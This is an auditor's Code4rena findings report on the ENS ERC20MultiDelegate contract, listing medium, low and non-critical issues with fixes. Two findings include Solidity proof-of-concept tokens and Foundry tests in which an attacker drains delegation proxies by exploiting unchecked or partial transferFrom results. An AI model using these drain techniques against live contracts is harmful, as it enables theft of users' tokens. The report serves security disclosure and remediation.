Code4rena: ENS 2023

ENS

Date: 05.10.2023-11.10.2023

Platform: Code4rena

Findings summary Link to heading

Severity Count
High 0
Medium 1
Low 5
Non-Critical 5

Table of Contents Link to heading

ID Title
M-01 Proxies can be drained due to missing return value validation.
L-01 Transfer of less than Amount leads to malicious users being able to drain proxies
L-02 _safeTransferFrom() can be used to circumvent blocklists
L-03 Tokens sent to the contract by accident can get stuck
L-04 Transfers with 0 amounts are possible
L-05 source can be the same address as target
NC-01 New delegation and reimbursement are missing events
NC-02 Incorrect comment in _reimburse()
NC-03 Missing indexing in event
NC-04 Grammatical error in testcase naming
NC-05 Grammatical error in contract descriptions

Medium Findings Link to heading

[M-01] Proxies can be drained due to missing return value validation. Link to heading

Impact Link to heading

The ERC20MultiDelegate smart contract has a critical issue in its current implementation. While it relies on the provided ENSToken as the token used for delegating, it should also support other non-malicious tokens implementing the ERC20Votes functionality and interface. The primary problem arises in the transferFrom() function of the chosen ERC20 tokens.

In the case of the ENSToken, if a user attempts to transfer an amount exceeding their balance, it triggers a revert in the token contract, leading to the entire transaction being reverted. Unfortunately, some ERC20 compliant tokens don’t follow this behavior; instead, they return false and do not perform the transfer. An example of this is the ZRX token.

This issue results in problems during delegation from a user to a new delegate or between delegates. Specifically, the return value of transferFrom() is not checked before the user receives ERC1155 tokens. These tokens are later used when a user wants to retrieve their delegated tokens from a proxy. As a result, a malicious user can create a deceptive scenario where they appear to deposit tokens to a delegatee’s proxy without actually transferring them. Subsequently, they can retrieve real tokens owned by other users from the proxy using the _reimburse() function.

Exploiting this vulnerability, a malicious user could systematically drain all existing proxies by tracking the ongoing delegations (who delegated to whom) and then simulating delegations of the proxy’s exact balance using createProxyDelegatorAndTransfer. Subsequently, they could withdraw these tokens, effectively depleting the proxy’s holdings.

It’s essential to note that this vulnerability also exists in the transfer between delegates within the _processDelegation function and in the _reimburse() function, as these functions also do not validate the return value of the ERC20Votes token.

A similar issue has been previously identified and assessed in the Code4rena competition, which can be referenced here: Code4rena Findings - Issue #89.

Proof of Concept Link to heading

To illustrate this issue, I’ve provided a Proof of Concept (POC) using a simple ERC20 and ERC20Votes compliant token that does not revert but returns false when a user transfers more than their balance.

contract NoRevertOnTransferToken is ERC20, ERC20Permit, ERC20Votes {

    constructor(
    )
        ERC20("No Revert on Transfer Token", "NRTT")
        ERC20Permit("No Revert on Transfer Token")
    {
        _mint(msg.sender, 10000);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        uint256 senderBalance = balanceOf(sender);
        if(senderBalance < amount)
        {
            //This contract does not revert but just return false
            return false;
        }

        _approve(sender, _msgSender(), allowance(sender, _msgSender()) - amount);

        _beforeTokenTransfer(sender, recipient, amount);

        _transfer(sender, recipient, amount);

        return true;
    }

    // The following functions are overrides required by Solidity.
    function _afterTokenTransfer(address from, address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._mint(to, amount);
    }

    function _burn(address account, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._burn(account, amount);
    }
}

In the following test case, one user delegates their tokens to a delegate. Then, a malicious user delegates type(uint256).max and receives that amount of ERC1155 tokens. Using these tokens, the malicious user proceeds to drain the proxy.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ERC20MultiDelegate.sol";
import "../src/NoRevertOnTransferToken.sol";

contract FuzzingTest is Test {
    NoRevertOnTransferToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = 10000;
    address normalUser;
    address otherNormalUser;
    address maliciousUser;

    function setUp() public {
        token = new NoRevertOnTransferToken();
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        normalUser = vm.addr(0xdeadbeef);
        maliciousUser = vm.addr(0xbeefdead);
        otherNormalUser = vm.addr(0xdeaddead);

        token.transfer(normalUser, TOTAL_TOKENS);
    }

    function testMaliciousUserStealsTokens() public
    {
        //First the normalUser approves the ERC20MultiDelegate and delegates to the other normal user
        vm.startPrank(normalUser);
        token.approve(address(delegate), type(uint256).max);

        uint256[] memory sources = new uint256[](0);
        uint256[] memory targets = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        targets[0] = uint256(uint160(otherNormalUser));
        amounts[0] = TOTAL_TOKENS;

        delegate.delegateMulti(sources, targets, amounts);

        vm.stopPrank();

        //Now the malicious user which has no tokens also tries to delegate to the otherUser
        vm.startPrank(maliciousUser);
        require(token.balanceOf(maliciousUser) == 0, "Malicious user should not have any tokens");

        //Malicious user is able to mess up the ERC1155 tracking
        delegate.delegateMulti(sources, targets, amounts);
        require(delegate.balanceOf(maliciousUser, uint256(uint160(otherNormalUser))) == TOTAL_TOKENS, "Malicious user was not able to falsely delegate tokens");

        //Malicious user is able to steal the normal users tokens be retrieving them from the proxy
        delegate.delegateMulti(targets, sources, amounts);
        require(token.balanceOf(maliciousUser) == TOTAL_TOKENS, "Malicious user was not able to steal tokens");
    }
}

The testcase can be run by adding the NoRevertOnTransferToken and the ERC20MultiDelegate to the src folder of a forge project and then calling to forge test.

Tools Used Link to heading

Manual Review

This issue can be fixed by validating the return value of the transferFrom() function. This needs to be implemented for all the 3 functionalities of the contract (_processDelegation_reimburse() and createProxyDelegatorAndTransfer).

1. Transferring between delegates Link to heading

Line 170

Replace the existing code:

token.transferFrom(proxyAddressFrom, proxyAddressTo, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(proxyAddressFrom, proxyAddressTo, amount);
require(transferSuccessfull, "Transfer failed");

2. Reimbursing from a delegate Link to heading

Line 148

Replace the existing code:

token.transferFrom(proxyAddressFrom, msg.sender, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(proxyAddressFrom, msg.sender, amount);
require(transferSuccessfull, "Transfer failed");

3. Newly delegating Link to heading

Line 160

Replace the existing code:

token.transferFrom(msg.sender, proxyAddress, amount);

With the following code:

bool transferSuccessfull = token.transferFrom(msg.sender, proxyAddress, amount);
require(transferSuccessfull, "Transfer failed");

By implementing these changes, the ERC20MultiDelegate contract will properly validate the return value of the transferFrom() function, ensuring that transfers are successful before proceeding, thereby mitigating the vulnerability.

Low Findings Link to heading

[L-01] Transfer of less than Amount leads to malicious users being able to drain proxies Link to heading

Impact The ERC20MultiDelegate smart contract has a critical issue in its current implementation. While it relies on the provided ENSToken as the token used for delegating, it should also support other non-malicious tokens implementing the ERC20Votes functionality and interface. The primary problem arises in the transferFrom() function of the chosen ERC20 tokens.

When using the ENSToken, if a user tries to transfer an amount exceeding their balance, it triggers a revert in the token contract, causing the entire transaction to be reverted. Unfortunately, certain ERC20 and ERC20Votes compliant tokens do not follow this behavior. Some ERC20 tokens, such as cUSDCv3, transfer only the user’s balance and return true when a user attempts to transfer type(uint256).max.

This inconsistency leads to a critical issue where a user can delegate type(uint256).max, receive type(uint256).max ERC1155 tokens, but only transfer their balance. Subsequently, this user can withdraw all tokens from the proxy, effectively draining other users’ funds. This same issue also occurs during transfers between proxies.

Proof of Concept Link to heading

To demonstrate this issue, a Prosof of Concept (POC) has been prepared using a simple ERC20 and ERC20Votes compliant token, which mimics the transfer behavior of cUSDCv3.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";

contract TransferLessThanAmountToken is ERC20, ERC20Permit, ERC20Votes {

    constructor(
    )
        ERC20("Transfer less than amount Token", "TLTAT")
        ERC20Permit("Transfer less than amount Token")
    {
        _mint(msg.sender, 10000);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(amount == type(uint256).max)
        {
            amount = balanceOf(sender);
        }

        _approve(sender, _msgSender(), allowance(sender, _msgSender()) - amount);

        _beforeTokenTransfer(sender, recipient, amount);

        _transfer(sender, recipient, amount);

        return true;
    }

    // The following functions are overrides required by Solidity.
    function _afterTokenTransfer(address from, address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(address to, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._mint(to, amount);
    }

    function _burn(address account, uint256 amount)
        internal
        override(ERC20, ERC20Votes)
    {
        super._burn(account, amount);
    }
}

In the following test case, one user delegates their tokens to a delegate. Then, a malicious user delegates type(uint256).max and receives that amount of ERC1155 tokens. Using these tokens, the malicious user proceeds to drain the proxy.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ERC20MultiDelegate.sol";
import "../src/TransferLessThanAmountToken.sol";

contract FuzzingTest is Test {
    TransferLessThanAmountToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = 10000;
    address normalUser;
    address otherNormalUser;
    address maliciousUser;

    function setUp() public {
        token = new TransferLessThanAmountToken();
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        normalUser = vm.addr(0xdeadbeef);
        maliciousUser = vm.addr(0xbeefdead);
        otherNormalUser = vm.addr(0xdeaddead);

        token.transfer(normalUser, TOTAL_TOKENS - 1);
        token.transfer(maliciousUser, 1);
    }

    function testMaliciousUserStealsTokensLessThanAmount() public
    {
        //First the normalUser approves the ERC20MultiDelegate and delegates to the other normal user
        vm.startPrank(normalUser);
        token.approve(address(delegate), type(uint256).max);

        uint256[] memory sources = new uint256[](0);
        uint256[] memory targets = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        targets[0] = uint256(uint160(otherNormalUser));
        amounts[0] = TOTAL_TOKENS-1;

        delegate.delegateMulti(sources, targets, amounts);
        vm.stopPrank();

        //Now the malicious user which has no tokens also tries to delegate to the otherUser
        vm.startPrank(maliciousUser);
        require(token.balanceOf(maliciousUser) == 1, "Malicious user should have one tokens");

        token.approve(address(delegate), type(uint256).max);

        //Malicious user is able to mess up the ERC1155 tracking
        uint256[] memory amounts2 = new uint256[](1);
        amounts2[0] = type(uint256).max;

        delegate.delegateMulti(sources, targets, amounts2);
        require(delegate.balanceOf(maliciousUser, uint256(uint160(otherNormalUser))) == type(uint256).max, "Malicious user was not able to claim ");

        uint256[] memory amounts3 = new uint256[](1);
        amounts3[0] = TOTAL_TOKENS;

        //Malicious user is able to steal the normal users tokens be retrieving them from the proxy
        delegate.delegateMulti(targets, sources, amounts3);
        require(token.balanceOf(maliciousUser) == TOTAL_TOKENS, "Malicious user was not able to steal tokens");
        vm.stopPrank();
    }
}

Tools Used Link to heading

Manual Review

There are two approaches to addressing this issue:

Simplified Fix: The simpler solution is to restrict this kind of tokens from interacting with the contract. While straightforward, this approach limits the contract’s capabilities and functionality.

Comprehensive Fix: Implement additional checks to account for tokens that transfer less than the specified amount while preserving functionality for normal ERC20 tokens. This involves checking the proxy’s balance before and after each transfer and reverting the transaction if the difference is not equal to the specified amount

function _delegateMulti(
    uint256[] calldata sources,
    uint256[] calldata targets,
    uint256[] calldata amounts
) internal {
    uint256 sourcesLength = sources.length;
    uint256 targetsLength = targets.length;
    uint256 amountsLength = amounts.length;

    require(
        sourcesLength > 0 || targetsLength > 0,
        "Delegate: You should provide at least one source or one target delegate"
    );

    require(
        Math.max(sourcesLength, targetsLength) == amountsLength,
        "Delegate: The number of amounts must be equal to the greater of the number of sources or targets"
    );

    // Iterate until all source and target delegates have been processed.
    for (
        uint transferIndex = 0;
        transferIndex < Math.max(sourcesLength, targetsLength);
        transferIndex++
    ) {
        address source = transferIndex < sourcesLength
            ? address(uint160(sources[transferIndex]))
            : address(0);
        address target = transferIndex < targetsLength
            ? address(uint160(targets[transferIndex]))
            : address(0);
        uint256 amount = amounts[transferIndex];

        if (transferIndex < Math.min(sourcesLength, targetsLength)) {
            // Process the delegation transfer between the current source and target delegate pair.
            uint256 balanceBefore = token.balanceOf(retrieveProxyContractAddress(token, target));
            _processDelegation(source, target, amount);
            uint256 balanceAfter = token.balanceOf(retrieveProxyContractAddress(token, target));

            require(balanceAfter - balanceBefore == amount, "Incorrect transfer");

        } else if (transferIndex < sourcesLength) {
            // Handle any remaining source amounts after the transfer process.
            _reimburse(source, amount);

        } else if (transferIndex < targetsLength) {
            // Handle any remaining target amounts after the transfer process.
            uint256 balanceBefore = token.balanceOf(retrieveProxyContractAddress(token, target));
            createProxyDelegatorAndTransfer(target, amount);
            uint256 balanceAfter = token.balanceOf(retrieveProxyContractAddress(token, target));
            
            require(balanceAfter - balanceBefore == amount, "Incorrect transfer");
        }
    }
    if (sourcesLength > 0) {
        _burnBatch(msg.sender, sources, amounts[:sourcesLength]);
    }
    if (targetsLength > 0) {
        _mintBatch(msg.sender, targets, amounts[:targetsLength], "");
    }
}

The comprehensive fix maintains the contract’s flexibility while addressing the issue but requires more complex modifications to the code.

[L-02] _safeTransferFrom() can be used to circumvent blocklists Link to heading

Issue Description:

Using the _safeTransferFrom() functionality of ERC1155, users can circumvent blocklists and still transfer tokens to another address after being blocklisted. This can happen in the following form:

  1. User A delegates all his tokens to User B using the ERC20MultiDelegate.
  2. User A gets blacklisted, so all transfers from/to his address of the ERC20 token are reverted.
  3. User A uses safeTransferFrom() to transfer his ERC1155 tokens to User C.
  4. User C is able to withdraw the tokens out of the proxy.

Recommended Mitigation Steps:

This problem can be fixed in two ways. The first one being to override the _safeTransferFrom() functionality and make it revert on any call, effectively making the ERC1155 tokens not transferrable. The second way would be to add an optional check to the blocklist of the underlying ERC20 token before transferring any ERC1155 tokens.


[L-03] Tokens sent to the contract by accident can get stuck Link to heading

Issue Description:

Some users might, by accident or due to incorrectly understanding the contracts’ functionality, send tokens directly to the contract or proxies to delegate them. As there is no functionality to sweep/rescue tokens, these tokens will stay stuck forever.

Recommended Mitigation Steps:

Deciding if this issue needs to be fixed is up to the project team. The team could either keep the functionality as it is, which would offer a higher security level in case of ownership corruption but leaves tokens sent incorrectly stuck. If the protocol team decides on wanting a functionality to rescue tokens, a simple function that is only callable by the owner can be added which transfers the full balance of a provided token to the owner.


[L-04] Transfers with 0 amounts are possible Link to heading

Line 65

Issue Description:

The current implementation allows for users to call all three different functionalities of delegateMulti() with an amount of 0. This does not lead to any direct vulnerabilities but is incorrect behavior as delegating or reimbursing an amount of 0 does not make any sense.

POC

A simple testcase that shows the incorrect functionality:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ENSToken.sol";
import "../src/ERC20MultiDelegate.sol";

contract FuzzingTest is Test {
    ENSToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = type(uint224).max / 2;
    address user1;
    address user2;
    address user3;

    function setUp() public {
        token = new ENSToken(TOTAL_TOKENS, 0, block.timestamp);
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        user1 = vm.addr(0xdeadbeef);
        user2 = vm.addr(0xbeefdead);
        user3 = vm.addr(0xdeaddead);

        token.transfer(user1, TOTAL_TOKENS);
    }

    function testZeroAmounts() public {
        vm.startPrank(user1);

        //Approve so that the delegate can transfer the tokens
        token.approve(address(delegate), type(uint256).max);

        //Delegation of zero
        uint256[] memory sources1 = new uint256[](0);
        uint256[] memory targets1 = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        targets1[0] = uint256(uint160(user2));
        amounts[0] = 0;
        
        delegate.delegateMulti(sources1, targets1, amounts);

        //Transfer of zero
        uint256[] memory sources2 = new uint256[](1);
        uint256[] memory targets2 = new uint256[](1);
        sources2[0] = uint256(uint160(user2));
        targets2[0] = uint256(uint160(user3));

        delegate.delegateMulti(sources2, targets2, amounts);

        //Reimbursement of zero
        uint256[] memory sources3 = new uint256[](1);
        uint256[] memory targets3 = new uint256[](0);
        sources3[0] = uint256(uint160(user3));

        delegate.delegateMulti(sources3, targets3, amounts);
    }
}

Recommended Mitigation Steps: Check for 0 values passed in amount and either skip the loop iteration in that case, saving gas or revert.


[L-05] source can be the same address as target Link to heading

Line 124

Issue Description:

When transferring between two proxies, the user can provide the same address as the target as well as the source. This is not intended behavior and will lead to confusing events being emitted.

POC

A simple testcase that shows the incorrect functionality:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/ENSToken.sol";
import "../src/ERC20MultiDelegate.sol";

contract FuzzingTest is Test {
    ENSToken public token;
    ERC20MultiDelegate public delegate;
    uint256 constant TOTAL_TOKENS = type(uint224).max / 2;
    address user1;
    address user2;
    address user3;

    function setUp() public {
        token = new ENSToken(TOTAL_TOKENS, 0, block.timestamp);
        delegate = new ERC20MultiDelegate(ERC20Votes(token), "");

        user1 = vm.addr(0xdeadbeef);
        user2 = vm.addr(0xbeefdead);
        user3 = vm.addr(0xdeaddead);

        token.transfer(user1, TOTAL_TOKENS);
    }

    function testTransferToSameAddress() public {
        vm.startPrank(user1);

        //Approve so that the delegate can transfer the tokens
        token.approve(address(delegate), type(uint256).max);

        uint256[] memory sources1 = new uint256[](0);
        uint256[] memory targets1 = new uint256[](1);
        uint256[] memory amounts1 = new uint256[](1);
        targets1[0] = uint256(uint160(user2));
        amounts1[0] = TOTAL_TOKENS;

        delegate.delegateMulti(sources1, targets1, amounts1);

        //User delegates from user2 -> user2
        delegate.delegateMulti(targets1, targets1, amounts1);
    }
}

Recommended Mitigation Steps:

To fix this issue, it is recommended to add an additional requirement that reverts in case of both addresses being the same in the _processDelegation() function. This could look like this:

require(source != target, "Transfer to the same address is not intended");

Non-Critical (NC) Findings Link to heading

[NC-01] New delegation and reimbursement are missing events Link to heading

Line 144 Line 155

Issue Description:

The contract includes the event DelegationProcessed which is emitted when delegated votes get transferred from one delegate to another. The issue is that this is only one of the 3 cases that the contract handles. In the case of newly delegating votes and also in the case of retrieving earlier delegated votes no event is emitted.

Recommended Mitigation Steps:

I would recommend either using the event DelegationProcessed in these cases and leave the source/target as 0, like it is done with transferFrom() for burning/minting in some token implementations. If an extra event for each case makes more sense to the developers, I would recommend adding 2 new events and emitting them at the end of the function calls.


[NC-02] Incorrect comment in _reimburse() Link to heading

Line 144

Issue Description:

The comments in the _reimburse() function state the functionality as “Reimburses any remaining source amounts back to the delegator after the delegation transfer process.” and “Transfer the remaining source amount or the full source amount (if no remaining amount) to the delegator,” which is incorrect. This function can be used to reimburse an arbitrary user-chosen amount from a proxy back to himself.

Recommended Mitigation Steps:

Change the definition to “Reimburses a user-provided amount (that is less than the ERC1155 balance the user has for the delegate) back to the user.” and remove the comment inside the function.


[NC-03] Missing indexing in event Link to heading

Line 36

Issue Description:

The event DelegationProcessed includes three parameters that could all be indexed. In the current implementation, only two of those are indexed.

Recommended Mitigation Steps:

Also index the third parameter amount:

event DelegationProcessed(
	address indexed from,
	address indexed to,
	uint256 indexed amount
);

[NC-04] Grammatical error in testcase naming Link to heading

Tests Line 138 Tests Line 288 Tests Line 345 Tests Line 688

Issue Description:

There are multiple test cases that are named grammatically incorrectly:

  1. ‘should be able to delegate multiple delegates in behalf of user’
  2. ‘should be able to re-delegate multiple delegates in behalf of user (1:1)’
  3. ‘should be able to re-delegate multiple delegates in behalf of user (many:many)’
  4. ‘should revert if allowance is lesser than provided amount’

Recommended Mitigation Steps:

Rename the test cases to:

  1. ‘should be able to delegate multiple delegates on behalf of user’
  2. ‘should be able to re-delegate multiple delegates on behalf of user (1:1)’
  3. ‘should be able to re-delegate multiple delegates on behalf of user (many:many)’
  4. ‘should revert if allowance is less than provided amount’

[NC-05] Grammatical error in contract descriptions Link to heading

Line 23

Issue Description:

At the start of the ERC20MultiDelegate contract, a comment is placed that should describe the utility of the contract. This comment states “@dev A utility contract to let delegators to pick multiple delegate”. This is grammatically incorrect.

Recommended Mitigation Steps:

Adapt the comment to “@dev A utility contract that lets delegators pick multiple delegates.”